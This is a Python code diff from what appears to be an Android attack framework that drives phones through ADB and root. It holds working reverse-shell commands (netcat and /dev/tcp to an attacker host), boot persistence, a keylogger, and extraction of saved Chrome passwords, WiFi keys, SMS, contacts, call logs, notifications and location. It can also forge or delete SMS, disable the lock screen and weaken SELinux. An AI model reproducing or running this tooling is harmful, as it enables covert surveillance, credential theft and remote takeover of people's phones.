res['returncode'] == 0: + for line in res['output'].split('\n'): + if 'Row:' in line: + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + rows.append(entry) + return {'success': True, 'uri': uri, 'rows': rows, 'count': len(rows)} + + def overlay_attack_enable(self, serial, package): + """Grant SYSTEM_ALERT_WINDOW to an app (overlay/tapjacking).""" + res = self._shell(serial, f'appops set {package} SYSTEM_ALERT_WINDOW allow') + return {'success': res['returncode'] == 0, 'package': package} + + # ── System Control ─────────────────────────────────────────────── + + def set_selinux(self, serial, mode='permissive'): + """Set SELinux mode. Requires ROOT.""" + val = '0' if mode == 'permissive' else '1' + res = self._shell(serial, f'su -c "setenforce {val}"') + verify = self._shell(serial, 'getenforce') + return {'success': res['returncode'] == 0, 'mode': verify['output'].strip()} + + def remount_system(self, serial, rw=True): + """Remount /system. Requires ROOT.""" + mode = 'rw' if rw else 'ro' + res = self._shell(serial, f'su -c "mount -o remount,{mode} /system"') + return {'success': res['returncode'] == 0, 'mode': mode, 'output': res['output'].strip()} + + def logcat_sensitive(self, serial, duration=10): + """Capture logcat and grep for sensitive data (passwords, tokens, keys).""" + patterns = 'password|token|secret|api.key|bearer|session|credential|auth' + res = self._shell(serial, + f'timeout {duration} logcat -d 2>/dev/null | grep -iE "{patterns}"', + timeout=duration + 5) + lines = [l.strip() for l in res['output'].split('\n') if l.strip()] + return {'success': True, 'lines': lines, 'count': len(lines)} + + def deploy_frida(self, serial, frida_path): + """Deploy and start Frida server. Requires ROOT.""" + if not os.path.isfile(frida_path): + return {'success': False, 'error': f'File not found: {frida_path}'} + remote = '/data/local/tmp/frida-server' + result = self.hw.adb_push(serial, frida_path, remote) + if not result['success']: + return {'success': False, 'error': 'Push failed'} + self._shell(serial, f'su -c "chmod 755 {remote}"') + self._shell(serial, f'su -c "nohup {remote} &" 2>/dev/null') + time.sleep(1) + # Verify running + check = self._shell(serial, 'su -c "pgrep frida"') + running = check['returncode'] == 0 and check['output'].strip() + return {'success': running, 'pid': check['output'].strip(), 'path': remote} + + def get_running_processes(self, serial): + """List running processes.""" + res = self._shell(serial, 'ps -A -o PID,USER,NAME 2>/dev/null || ps', timeout=10) + procs = [] + for line in res['output'].split('\n')[1:]: + parts = line.split() + if len(parts) >= 3: + procs.append({'pid': parts[0], 'user': parts[1], 'name': ' '.join(parts[2:])}) + elif len(parts) == 2: + procs.append({'pid': parts[0], 'name': parts[1]}) + return {'success': True, 'processes': procs, 'count': len(procs)} + + def get_open_ports(self, serial): + """List open network ports.""" + res = self._shell(serial, 'netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null', timeout=10) + ports = [] + for line in res['output'].split('\n'): + line = line.strip() + if ':' in line and ('LISTEN' in line or 'tcp' in line.lower()): + ports.append(line) + return {'success': True, 'ports': ports, 'count': len(ports), 'raw': res['output']} + + def modify_setting(self, serial, namespace, key, value): + """Modify an Android setting. namespace: system/secure/global.""" + if namespace not in ('system', 'secure', 'global'): + return {'success': False, 'error': f'Invalid namespace: {namespace}'} + res = self._shell(serial, f'settings put {namespace} {key} {value}') + # Verify + verify = self._shell(serial, f'settings get {namespace} {key}') + return {'success': res['returncode'] == 0, 'namespace': namespace, + 'key': key, 'value': verify['output'].strip()} + + def get_device_fingerprint(self, serial): + """Comprehensive device fingerprint for identification.""" + fp = {} + props = { + 'model': 'ro.product.model', 'brand': 'ro.product.brand', + 'device': 'ro.product.device', 'board': 'ro.product.board', + 'manufacturer': 'ro.product.manufacturer', + 'android': 'ro.build.version.release', 'sdk': 'ro.build.version.sdk', + 'security_patch': 'ro.build.version.security_patch', + 'build_id': 'ro.build.display.id', 'fingerprint': 'ro.build.fingerprint', + 'build_type': 'ro.build.type', 'abi': 'ro.product.cpu.abi', + 'serial_internal': 'ro.serialno', 'bootloader': 'ro.bootloader', + 'hardware': 'ro.hardware', 'baseband': 'gsm.version.baseband', + 'first_api': 'ro.product.first_api_level', + } + for key, prop in props.items(): + r = self._shell(serial, f'getprop {prop}') + if r['returncode'] == 0: + fp[key] = r['output'].strip() + # IMEI (needs phone permission or root) + r = self._shell(serial, 'service call iphonesubinfo 1 2>/dev/null') + if r['returncode'] == 0 and "'" in r['output']: + imei_parts = re.findall(r"'(.+?)'", r['output']) + fp['imei_raw'] = ''.join(imei_parts).replace('.', '').strip() + # MAC + r = self._shell(serial, 'cat /sys/class/net/wlan0/address 2>/dev/null') + fp['mac_wifi'] = r['output'].strip() if r['returncode'] == 0 else '' + # Android ID + r = self._shell(serial, 'settings get secure android_id') + fp['android_id'] = r['output'].strip() + return fp + + def dump_database(self, serial, db_path, table=None, limit=100): + """Pull and query any SQLite database from device. Requires ROOT for app databases.""" + out_dir = self._serial_dir('recon', serial) + tmp = '/data/local/tmp/_db_dump' + self._shell(serial, f'su -c "cp {db_path} {tmp} && chmod 644 {tmp}" 2>/dev/null') + # If that fails, try direct (for world-readable DBs) + self._shell(serial, f'cp {db_path} {tmp} 2>/dev/null') + local = str(out_dir / f'db_{os.path.basename(db_path)}') + r = self.hw.adb_pull(serial, tmp, local) + self._shell(serial, f'rm {tmp}') + if not r['success'] or not os.path.exists(local): + return {'success': False, 'error': 'Cannot pull database'} + try: + conn = sqlite3.connect(local) + cur = conn.cursor() + # List tables + cur.execute("SELECT name FROM sqlite_master WHERE type='table'") + tables = [row[0] for row in cur.fetchall()] + rows = [] + if table and table in tables: + cur.execute(f'SELECT * FROM "{table}" LIMIT {limit}') + cols = [d[0] for d in cur.description] + for row in cur.fetchall(): + rows.append(dict(zip(cols, [str(v) for v in row]))) + conn.close() + return {'success': True, 'tables': tables, 'rows': rows, + 'table_queried': table, 'db_path': local} + except Exception as e: + return {'success': False, 'error': str(e)} + + + # ── WebUSB Direct Mode: Command Relay ──────────────────────────── + + def get_commands_for_op(self, op: str, params: dict) -> dict: + """Return ADB shell command(s) for a given operation without executing them. + + Used by WebUSB Direct mode so the browser can execute via navigator.usb. + Returns one of: + {'commands': ['cmd1', ...]} — execute each via adbShell in order + {'pullPath': '/device/path'} — pull this file from device + {'error': 'message'} — unsupported or invalid params + """ + p = params or {} + serial = p.get('serial', '') # ignored in direct mode but kept for parity + + # ── Apps ── + if op == '/apps/list': + flag = '' if p.get('include_system') else '-3' + return {'commands': [f'pm list packages -f {flag}']} + + if op == '/apps/pull-apk': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm path {pkg}']} # JS gets path, then needs second pull + + if op == '/apps/pull-data': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + cmds = [] + for sub in ('databases', 'shared_prefs', 'files'): + cmds.append(f'run-as {pkg} ls /data/data/{pkg}/{sub}/ 2>/dev/null') + return {'commands': cmds} + + if op == '/apps/shared-prefs': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [ + f'run-as {pkg} ls /data/data/{pkg}/shared_prefs/ 2>/dev/null', + ]} + + # ── Recon ── + if op == '/recon/device-dump': + return {'commands': [ + 'getprop', + 'getenforce 2>/dev/null', + 'uname -a', + 'getprop ro.build.fingerprint', + 'ip addr show 2>/dev/null || ifconfig', + 'pm list packages | wc -l', + ]} + + if op == '/recon/accounts': + return {'commands': ['dumpsys account 2>/dev/null']} + + if op == '/recon/wifi': + return {'commands': [ + 'su -c "cat /data/misc/wifi/WifiConfigStore.xml" 2>/dev/null', + 'su -c "cat /data/misc/wifi/wpa_supplicant.conf" 2>/dev/null', + ]} + + if op == '/recon/calls': + limit = int(p.get('limit', 200)) + return {'commands': [ + f'content query --uri content://call_log/calls ' + f'--projection number:type:date:duration --sort "date DESC" 2>/dev/null' + ]} + + if op == '/recon/sms': + return {'commands': [ + 'content query --uri content://sms/ ' + '--projection address:body:date:type --sort "date DESC" 2>/dev/null' + ]} + + if op == '/recon/contacts': + return {'commands': [ + 'content query --uri content://contacts/phones/ ' + '--projection display_name:number 2>/dev/null' + ]} + + if op == '/recon/browser': + return {'commands': [ + 'su -c "cp /data/data/com.android.chrome/app_chrome/Default/History ' + '/data/local/tmp/_ch && chmod 644 /data/local/tmp/_ch" 2>/dev/null', + 'ls /data/local/tmp/_ch 2>/dev/null', + ]} + + if op == '/recon/credentials': + return {'commands': [ + "su -c \"cp '/data/data/com.android.chrome/app_chrome/Default/Login Data' " + "/data/local/tmp/_cl && chmod 644 /data/local/tmp/_cl\" 2>/dev/null", + ]} + + if op == '/recon/export': + return {'commands': [ + 'getprop ro.product.model', + 'content query --uri content://sms/ --projection address:body:date:type --sort "date DESC" 2>/dev/null', + 'content query --uri content://contacts/phones/ --projection display_name:number 2>/dev/null', + 'content query --uri content://call_log/calls --projection number:type:date:duration --sort "date DESC" 2>/dev/null', + ]} + + # ── Payloads ── + if op == '/payload/deploy': + return {'error': 'Payload deploy requires server mode (needs local file access)'} + + if op == '/payload/execute': + remote_path = p.get('remote_path', '').strip() + args = p.get('args', '').strip() + background = p.get('background', True) + if not remote_path: + return {'error': 'No remote_path provided'} + if background: + return {'commands': [f'nohup {remote_path} {args} > /dev/null 2>&1 & echo $!']} + return {'commands': [f'{remote_path} {args}']} + + if op == '/payload/reverse-shell': + lhost = p.get('lhost', '').strip() + lport = p.get('lport', '4444') + method = p.get('method', 'nc') + if not lhost: + return {'error': 'No lhost provided'} + if method == 'nc': + cmd = f'nohup sh -c "nc {lhost} {lport} -e /system/bin/sh" > /dev/null 2>&1 &' + elif method == 'bash': + cmd = f'nohup sh -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1" > /dev/null 2>&1 &' + else: + return {'error': f'Unknown method: {method}'} + return {'commands': [cmd]} + + if op == '/payload/persistence': + return {'commands': [ + 'su -c "mkdir -p /system/etc/init.d && ' + 'echo \'#!/system/bin/sh\' > /system/etc/init.d/99autarch && ' + 'chmod 755 /system/etc/init.d/99autarch"' + ]} + + if op == '/payload/list': + return {'commands': ['ps -ef 2>/dev/null || ps']} + + if op == '/payload/kill': + pid = str(p.get('pid', '')).strip() + if not pid: + return {'error': 'No pid provided'} + return {'commands': [f'kill {pid} 2>/dev/null || su -c "kill {pid}"']} + + # ── Boot / Recovery ── + if op == '/boot/info': + return {'commands': ['getprop ro.build.version.release', 'getprop ro.bootloader', + 'getprop ro.secure', 'getprop ro.debuggable']} + + if op == '/boot/backup': + return {'error': 'Boot backup requires server mode (pulls binary to server)'} + + if op == '/boot/unlock': + return {'error': 'Bootloader unlock requires server mode (fastboot command)'} + + if op == '/boot/flash-recovery': + return {'error': 'Flash recovery requires server mode (fastboot + local image file)'} + + if op == '/boot/flash-boot': + return {'error': 'Flash boot requires server mode (fastboot + local image file)'} + + if op == '/boot/temp-boot': + return {'error': 'Temp boot requires server mode (fastboot + local image file)'} + + if op == '/boot/disable-verity': + return {'commands': ['adb disable-verity 2>/dev/null || echo "Run from host ADB"']} + + # ── Root ── + if op == '/root/check': + return {'commands': [ + 'su -c id 2>/dev/null', + 'ls /data/adb/magisk/ 2>/dev/null', + 'pm list packages | grep -i magisk 2>/dev/null', + 'ls /system/xbin/su 2>/dev/null', + 'getprop ro.build.type', + ]} + + if op == '/root/install-magisk': + return {'error': 'Magisk install requires server mode (needs APK on server)'} + + if op == '/root/pull-patched': + return {'commands': ['ls -t /sdcard/Download/magisk_patched*.img 2>/dev/null']} + + if op == '/root/exploit': + return {'error': 'Root exploit requires server mode (needs binary on server)'} + + # ── SMS ── + if op == '/sms/list': + address = p.get('address', '') + cmd = ('content query --uri content://sms/ ' + '--projection _id:address:body:date:type:read --sort "date DESC"') + return {'commands': [cmd]} + + if op == '/sms/insert': + address = p.get('address', '').strip() + body = p.get('body', '').strip() + if not address or not body: + return {'error': 'address and body required'} + date_ms = int(time.time() * 1000) + type_map = {'inbox': 1, 'sent': 2, 'draft': 3} + type_val = type_map.get(str(p.get('type', 'inbox')), 1) + read_val = 1 if p.get('read', True) else 0 + body_esc = body.replace("'", "'\\''") + cmds = [ + 'appops set com.android.shell WRITE_SMS allow', + (f"content insert --uri content://sms/" + f" --bind address:s:'{address}'" + f" --bind body:s:'{body_esc}'" + f" --bind date:l:{date_ms}" + f" --bind type:i:{type_val}" + f" --bind read:i:{read_val}" + f" --bind seen:i:1"), + ] + return {'commands': cmds} + + if op == '/sms/bulk-insert': + return {'error': 'Bulk SMS insert requires server mode'} + + if op == '/sms/update': + sms_id = p.get('id', '').strip() + body = p.get('body', '').strip() + if not sms_id or not body: + return {'error': 'id and body required'} + body_esc = body.replace("'", "'\\''") + cmds = [ + 'appops set com.android.shell WRITE_SMS allow', + f"content update --uri content://sms/{sms_id} --bind body:s:'{body_esc}'", + ] + return {'commands': cmds} + + if op == '/sms/delete': + sms_id = p.get('id', '').strip() + if not sms_id: + return {'error': 'id required'} + return {'commands': [ + 'appops set com.android.shell WRITE_SMS allow', + f'content delete --uri content://sms/{sms_id}', + ]} + + if op == '/sms/delete-all': + return {'commands': [ + 'appops set com.android.shell WRITE_SMS allow', + 'content delete --uri content://sms/', + ]} + + # ── RCS ── + if op == '/rcs/check': + return {'commands': [ + 'pm list packages | grep com.google.android.apps.messaging', + 'pm list packages | grep com.android.messaging', + ]} + + if op in ('/rcs/list', '/rcs/insert', '/rcs/delete'): + return {'error': 'RCS operations require server mode (SQLite database manipulation)'} + + # ── Screen & Input ── + if op == '/screen/capture': + return {'commands': [ + 'screencap -p /data/local/tmp/_sc.png 2>/dev/null && ' + 'base64 /data/local/tmp/_sc.png && ' + 'rm /data/local/tmp/_sc.png' + ]} + + if op == '/screen/record': + dur = min(int(p.get('duration', 10)), 180) + size = p.get('size', '1280x720') + return {'error': 'Screen record requires server mode (binary file too large for inline transfer)'} + + if op == '/screen/tap': + x, y = p.get('x', 0), p.get('y', 0) + return {'commands': [f'input tap {x} {y}']} + + if op == '/screen/swipe': + x1, y1, x2, y2 = p.get('x1', 0), p.get('y1', 0), p.get('x2', 0), p.get('y2', 0) + dur = p.get('duration_ms', 300) + return {'commands': [f'input swipe {x1} {y1} {x2} {y2} {dur}']} + + if op == '/screen/text': + text = p.get('text', '').replace(' ', '%s').replace('&', '\\&').replace(';', '\\;') + return {'commands': [f'input text "{text}"']} + + if op == '/screen/key': + keycode = p.get('keycode', 3) + return {'commands': [f'input keyevent {keycode}']} + + if op == '/screen/dismiss-lock': + return {'commands': [ + 'input keyevent 26', + 'input keyevent 82', + 'input swipe 540 1800 540 400 300', + ]} + + if op == '/screen/disable-lock': + return {'commands': [ + 'settings put secure lockscreen.disabled 1', + 'locksettings set-disabled true 2>/dev/null', + ]} + + if op == '/screen/keylogger-start': + return {'commands': [ + 'nohup sh -c "getevent -lt > /data/local/tmp/keylog.txt 2>&1" &', + 'pgrep -f "getevent -lt"', + ]} + + if op == '/screen/keylogger-stop': + return {'commands': [ + 'pkill -f "getevent -lt"', + 'cat /data/local/tmp/keylog.txt 2>/dev/null', + 'rm /data/local/tmp/keylog.txt 2>/dev/null', + ]} + + # ── Advanced ── + if op == '/adv/clipboard': + return {'commands': ['service call clipboard 2 i32 1 i32 0 2>/dev/null']} + + if op == '/adv/notifications': + return {'commands': ['dumpsys notification --noredact 2>/dev/null']} + + if op == '/adv/location': + return {'commands': [ + 'dumpsys location 2>/dev/null', + 'settings get secure location_mode', + 'settings get secure location_providers_allowed', + ]} + + if op == '/adv/fingerprint': + props = [ + 'ro.product.model', 'ro.product.brand', 'ro.product.device', + 'ro.product.manufacturer', 'ro.build.version.release', + 'ro.build.version.sdk', 'ro.build.display.id', 'ro.build.fingerprint', + 'ro.build.type', 'ro.product.cpu.abi', 'ro.serialno', + ] + cmds = [f'getprop {prop}' for prop in props] + cmds.append('cat /sys/class/net/wlan0/address 2>/dev/null') + cmds.append('settings get secure android_id') + return {'commands': cmds} + + if op == '/adv/settings': + return {'commands': [ + 'settings list system', + 'settings list secure', + 'settings list global', + ]} + + if op == '/adv/media-list': + media_type = p.get('media_type', 'photos') + paths = { + 'photos': '/sdcard/DCIM/Camera/', + 'downloads': '/sdcard/Download/', + 'screenshots': '/sdcard/Pictures/Screenshots/', + 'whatsapp_media': '/sdcard/WhatsApp/Media/', + 'telegram_media': '/sdcard/Telegram/', + } + path = paths.get(media_type, f'/sdcard/{media_type}/') + return {'commands': [f'ls -lhS {path} 2>/dev/null']} + + if op == '/adv/media-pull': + return {'error': 'Media pull requires server mode (pulls files to server directory)'} + + if op in ('/adv/whatsapp', '/adv/telegram', '/adv/signal'): + return {'error': f'{op} database extraction requires server mode (SQLite + binary file transfer)'} + + if op == '/adv/network-info': + return {'commands': [ + 'ip addr show 2>/dev/null', + 'ip route show 2>/dev/null', + 'getprop net.dns1', + 'getprop net.dns2', + 'settings get global http_proxy', + ]} + + if op == '/adv/proxy-set': + host = p.get('host', '').strip() + port = p.get('port', '8080') + if not host: + return {'error': 'No host provided'} + return {'commands': [f'settings put global http_proxy {host}:{port}']} + + if op == '/adv/proxy-clear': + return {'commands': [ + 'settings put global http_proxy :0', + 'settings delete global http_proxy', + 'settings delete global global_http_proxy_host', + 'settings delete global global_http_proxy_port', + ]} + + if op == '/adv/wifi-scan': + return {'commands': [ + 'cmd wifi start-scan 2>/dev/null; sleep 2; cmd wifi list-scan-results 2>/dev/null' + ]} + + if op == '/adv/wifi-connect': + ssid = p.get('ssid', '').strip() + password = p.get('password', '') + security = p.get('security', 'wpa') + if not ssid: + return {'error': 'No SSID provided'} + if password: + return {'commands': [f'cmd wifi connect-network "{ssid}" {security} "{password}" 2>/dev/null']} + return {'commands': [f'cmd wifi connect-network "{ssid}" open 2>/dev/null']} + + if op == '/adv/adb-wifi': + port = int(p.get('port', 5555)) + return {'commands': [ + f'setprop service.adb.tcp.port {port}', + 'stop adbd; start adbd', + 'ip route | grep wlan0 | grep src', + ]} + + if op == '/adv/capture-traffic': + return {'error': 'Traffic capture requires server mode (pulls .pcap to server)'} + + if op == '/adv/selinux': + mode = p.get('mode', 'permissive') + val = '0' if mode == 'permissive' else '1' + return {'commands': [f'su -c "setenforce {val}"', 'getenforce']} + + if op == '/adv/remount': + return {'commands': ['su -c "mount -o remount,rw /system"']} + + if op == '/adv/logcat-sensitive': + dur = int(p.get('duration', 10)) + patterns = 'password|token|secret|api.key|bearer|session|credential|auth' + return {'commands': [f'timeout {dur} logcat -d 2>/dev/null | grep -iE "{patterns}"']} + + if op == '/adv/processes': + return {'commands': ['ps -A -o PID,USER,NAME 2>/dev/null || ps']} + + if op == '/adv/ports': + return {'commands': ['netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null']} + + if op == '/adv/modify-setting': + ns = p.get('namespace', 'global') + key = p.get('key', '').strip() + value = p.get('value', '').strip() + if ns not in ('system', 'secure', 'global') or not key: + return {'error': 'Invalid namespace or missing key'} + return {'commands': [ + f'settings put {ns} {key} {value}', + f'settings get {ns} {key}', + ]} + + if op == '/adv/app-launch': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'monkey -p {pkg} -c android.intent.category.LAUNCHER 1 2>/dev/null']} + + if op == '/adv/app-disable': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm disable-user --user 0 {pkg}']} + + if op == '/adv/app-enable': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm enable {pkg}']} + + if op == '/adv/app-clear': + pkg = p.get('package', '').strip() + if not pkg: + return {'error': 'No package provided'} + return {'commands': [f'pm clear {pkg}']} + + if op == '/adv/content-query': + uri = p.get('uri', '').strip() + if not uri: + return {'error': 'No URI provided'} + cmd = f'content query --uri {uri}' + proj = p.get('projection', '') + where = p.get('where', '') + if proj: + cmd += f' --projection {proj}' + if where: + cmd += f' --where "{where}"' + return {'commands': [cmd]} + + return {'error': f'Unknown or unsupported operation for direct mode: {op}'} + + def parse_op_output(self, op: str, params: dict, raw: str) -> dict: + """Parse raw ADB shell output from WebUSB Direct mode. + + Reuses the same parsing logic as the regular methods but feeds in + the raw text that the browser collected via adbShell(). + Returns the same structured JSON the server-mode route would return. + """ + p = params or {} + lines = raw.strip().split('\n') if raw.strip() else [] + + # ── Apps ── + if op == '/apps/list': + packages = [] + for line in lines: + line = line.strip() + if not line.startswith('package:'): + continue + rest = line[len('package:'):] + if '=' in rest: + path, pkg = rest.rsplit('=', 1) + is_sys = path.startswith('/system') or path.startswith('/product') + packages.append({'package': pkg, 'path': path, 'is_system': is_sys}) + return {'packages': packages, 'count': len(packages)} + + if op == '/apps/pull-apk': + # raw contains output of `pm path ` — extract path for UI to show + apk_path = '' + for line in lines: + line = line.strip().replace('package:', '') + if line: + apk_path = line + break + return {'success': bool(apk_path), 'remote_path': apk_path, + 'note': 'Use adbPull in browser to download the APK directly.' if apk_path else 'Package not found'} + + if op == '/apps/shared-prefs': + files = [l.strip() for l in lines if l.strip().endswith('.xml')] + return {'success': len(files) > 0, 'files': files, 'raw': raw} + + # ── Recon ── + if op == '/recon/device-dump': + dump = {'raw_output': raw} + props = {} + for line in lines: + m = re.match(r'\[(.+?)\]:\s*\[(.+?)\]', line) + if m: + props[m.group(1)] = m.group(2) + if props: + dump['properties'] = props + return dump + + if op == '/recon/accounts': + accounts = [] + seen = set() + for line in lines: + m = re.search(r'Account\s*\{name=(.+?),\s*type=(.+?)\}', line) + if m: + key = f"{m.group(1)}:{m.group(2)}" + if key not in seen: + seen.add(key) + accounts.append({'name': m.group(1), 'type': m.group(2)}) + return {'success': True, 'accounts': accounts, 'count': len(accounts)} + + if op in ('/recon/calls', '/sms/list', '/recon/sms'): + type_map = {'1': 'incoming' if op == '/recon/calls' else 'inbox', + '2': 'outgoing' if op == '/recon/calls' else 'sent', + '3': 'missed' if op == '/recon/calls' else 'draft', + '4': 'voicemail' if op == '/recon/calls' else 'outbox'} + key = 'calls' if op == '/recon/calls' else 'messages' + items = [] + for line in lines: + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if entry: + entry['type_label'] = type_map.get(entry.get('type', ''), 'unknown') + try: + ts = int(entry.get('date', 0)) + if ts > 0: + entry['date_readable'] = time.strftime('%Y-%m-%d %H:%M:%S', + time.localtime(ts / 1000)) + except (ValueError, OSError): + pass + items.append(entry) + return {'success': True, key: items, 'count': len(items)} + + if op == '/recon/contacts': + contacts = [] + for line in lines: + if 'Row:' not in line: + continue + entry = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + if entry: + contacts.append(entry) + return {'success': True, 'contacts': contacts, 'count': len(contacts)} + + # ── Screen ── + if op == '/screen/capture': + # raw contains base64-encoded PNG + b64 = raw.strip() + if b64: + return {'success': True, 'base64_png': b64, + 'data_url': 'data:image/png;base64,' + b64} + return {'success': False, 'error': 'Screenshot failed or empty output'} + + if op == '/screen/tap': + return {'success': 'error' not in raw.lower(), 'x': p.get('x'), 'y': p.get('y')} + + if op == '/screen/swipe': + return {'success': 'error' not in raw.lower()} + + if op == '/screen/text': + return {'success': 'error' not in raw.lower(), 'text': p.get('text')} + + if op == '/screen/key': + return {'success': 'error' not in raw.lower(), 'keycode': p.get('keycode')} + + if op == '/screen/dismiss-lock': + return {'success': True, 'output': raw} + + if op == '/screen/disable-lock': + return {'success': True, 'results': [{'cmd': l} for l in lines if l.strip()]} + + if op == '/screen/keylogger-start': + pid = '' + for line in lines: + line = line.strip() + if line.isdigit(): + pid = line + break + return {'success': True, 'pid': pid, 'log_path': '/data/local/tmp/keylog.txt'} + + if op == '/screen/keylogger-stop': + return {'success': True, 'output': raw} + + # ── Root ── + if op == '/root/check': + rooted = 'uid=0' in raw + method = None + if 'magisk' in raw.lower(): + method = 'Magisk' + elif '/system/xbin/su' in raw: + method = 'SuperSU' + build_type = '' + for line in lines: + if line.strip() in ('user', 'userdebug', 'eng'): + build_type = line.strip() + return {'rooted': rooted, 'method': method, + 'details': {'build_type': build_type, 'raw': raw}} + + if op == '/root/pull-patched': + remote = '' + for line in lines: + line = line.strip() + if 'magisk_patched' in line and line.endswith('.img'): + remote = line + break + return {'success': bool(remote), 'remote_path': remote, + 'note': 'Use adbPull to download this file.' if remote else 'Not found'} + + # ── SMS mutations ── + if op in ('/sms/insert', '/sms/update', '/sms/delete', '/sms/delete-all'): + return {'success': 'error' not in raw.lower(), 'output': raw} + + # ── RCS ── + if op == '/rcs/check': + has_gmessages = 'com.google.android.apps.messaging' in raw + has_messages = 'com.android.messaging' in raw + return {'rcs_available': has_gmessages, 'messaging_app': + 'com.google.android.apps.messaging' if has_gmessages + else ('com.android.messaging' if has_messages else None)} + + # ── Advanced ── + if op == '/adv/clipboard': + text = '' + parts = raw.split("'") + if len(parts) >= 2: + text = parts[1].replace('\n', '') + return {'success': True, 'clipboard': text} + + if op == '/adv/notifications': + notifications = [] + current: dict = {} + for line in lines: + line = line.strip() + if line.startswith('NotificationRecord'): + if current: + notifications.append(current) + current = {'raw': line} + elif 'pkg=' in line and current: + m = re.search(r'pkg=(\S+)', line) + if m: + current['package'] = m.group(1) + elif 'android.title=' in line and current: + current['title'] = line.split('=', 1)[1].strip() + elif 'android.text=' in line and current: + current['text'] = line.split('=', 1)[1].strip() + if current: + notifications.append(current) + return {'success': True, 'notifications': notifications, 'count': len(notifications)} + + if op == '/adv/location': + info = {'raw': raw} + for line in lines: + line = line.strip() + if 'Last Known Location' in line or 'last location=' in line.lower(): + info['last_location'] = line + elif 'fused' in line.lower() and 'location' in line.lower(): + info['fused'] = line + return {'success': True, **info} + + if op == '/adv/fingerprint': + # Each line is output of `getprop ` or other commands + prop_names = [ + 'model', 'brand', 'device', 'manufacturer', 'android', 'sdk', + 'build_id', 'fingerprint', 'build_type', 'abi', 'serial_internal', + ] + fp: dict = {} + clean_lines = [l.strip() for l in lines if l.strip()] + for i, name in enumerate(prop_names): + if i < len(clean_lines): + fp[name] = clean_lines[i] + # Last two lines: MAC and android_id + if len(clean_lines) > len(prop_names): + fp['mac_wifi'] = clean_lines[len(prop_names)] + if len(clean_lines) > len(prop_names) + 1: + fp['android_id'] = clean_lines[len(prop_names) + 1] + return fp + + if op == '/adv/settings': + settings: dict = {} + namespace = 'unknown' + for line in lines: + line = line.strip() + if '=' in line: + k, _, v = line.partition('=') + if namespace not in settings: + settings[namespace] = {} + settings[namespace][k.strip()] = v.strip() + return {'success': True, 'settings': settings} + + if op == '/adv/media-list': + files = [l.strip() for l in lines if l.strip() and not l.strip().startswith('total')] + return {'success': True, 'files': files, 'count': len(files)} + + if op == '/adv/network-info': + info: dict = {} + sections = ['interfaces', 'routes', 'dns1', 'dns2', 'proxy'] + clean_lines = [l.strip() for l in lines if l.strip()] + for i, sec in enumerate(sections): + info[sec] = clean_lines[i] if i < len(clean_lines) else '' + info['raw'] = raw + return info + + if op in ('/adv/proxy-set', '/adv/proxy-clear'): + return {'success': 'error' not in raw.lower(), 'output': raw} + + if op == '/adv/wifi-scan': + return {'success': bool(raw.strip()), 'output': raw} + + if op == '/adv/wifi-connect': + return {'success': 'Connected' in raw or 'success' in raw.lower(), + 'ssid': p.get('ssid'), 'output': raw} + + if op == '/adv/adb-wifi': + ip = '' + for line in lines: + if 'src' in line: + parts = line.split() + if parts: + ip = parts[-1] + port = p.get('port', 5555) + return {'success': True, 'port': port, 'ip': ip, + 'connect_cmd': f'adb connect {ip}:{port}' if ip else 'Get device IP and run: adb connect :'} + + if op == '/adv/selinux': + mode = lines[-1].strip() if lines else 'unknown' + return {'success': True, 'mode': mode} + + if op == '/adv/remount': + return {'success': 'error' not in raw.lower(), 'output': raw} + + if op == '/adv/logcat-sensitive': + filtered = [l.strip() for l in lines if l.strip()] + return {'success': True, 'lines': filtered, 'count': len(filtered)} + + if op == '/adv/processes': + procs = [] + for line in lines[1:]: + parts = line.split() + if len(parts) >= 3: + procs.append({'pid': parts[0], 'user': parts[1], 'name': ' '.join(parts[2:])}) + elif len(parts) == 2: + procs.append({'pid': parts[0], 'name': parts[1]}) + return {'success': True, 'processes': procs, 'count': len(procs)} + + if op == '/adv/ports': + ports = [l.strip() for l in lines + if ':' in l and ('LISTEN' in l or 'tcp' in l.lower())] + return {'success': True, 'ports': ports, 'count': len(ports), 'raw': raw} + + if op == '/adv/modify-setting': + value = lines[-1].strip() if lines else '' + return {'success': True, 'namespace': p.get('namespace'), + 'key': p.get('key'), 'value': value} + + if op in ('/adv/app-launch', '/adv/app-disable', '/adv/app-enable', '/adv/app-clear'): + return {'success': 'error' not in raw.lower(), 'package': p.get('package'), 'output': raw} + + if op == '/adv/content-query': + rows = [] + for line in lines: + if 'Row:' in line: + entry: dict = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + rows.append(entry) + return {'success': True, 'uri': p.get('uri'), 'rows': rows, 'count': len(rows)} + + if op == '/payload/list': + payloads = [] + for line in lines: + if '/data/local/tmp/' in line: + parts = line.split() + if len(parts) >= 2: + payloads.append({'pid': parts[1] if len(parts) > 1 else parts[0], + 'command': line.strip()}) + return {'success': True, 'payloads': payloads, 'count': len(payloads)} + + if op in ('/payload/execute', '/payload/reverse-shell', '/payload/persistence', + '/payload/kill'): + return {'success': 'error' not in raw.lower(), 'output': raw} + + if op == '/boot/info': + info = {} + prop_keys = ['android_version', 'bootloader', 'secure', 'debuggable'] + clean_lines = [l.strip() for l in lines if l.strip()] + for i, k in enumerate(prop_keys): + info[k] = clean_lines[i] if i < len(clean_lines) else '' + return info + + if op in ('/recon/export', '/recon/wifi', '/recon/browser', '/recon/credentials', + '/apps/pull-data', '/rcs/check'): + return {'success': True, 'output': raw, 'lines': lines} + + # Fallback — return raw output + return {'output': raw, 'lines': lines} + + +# ── Singleton 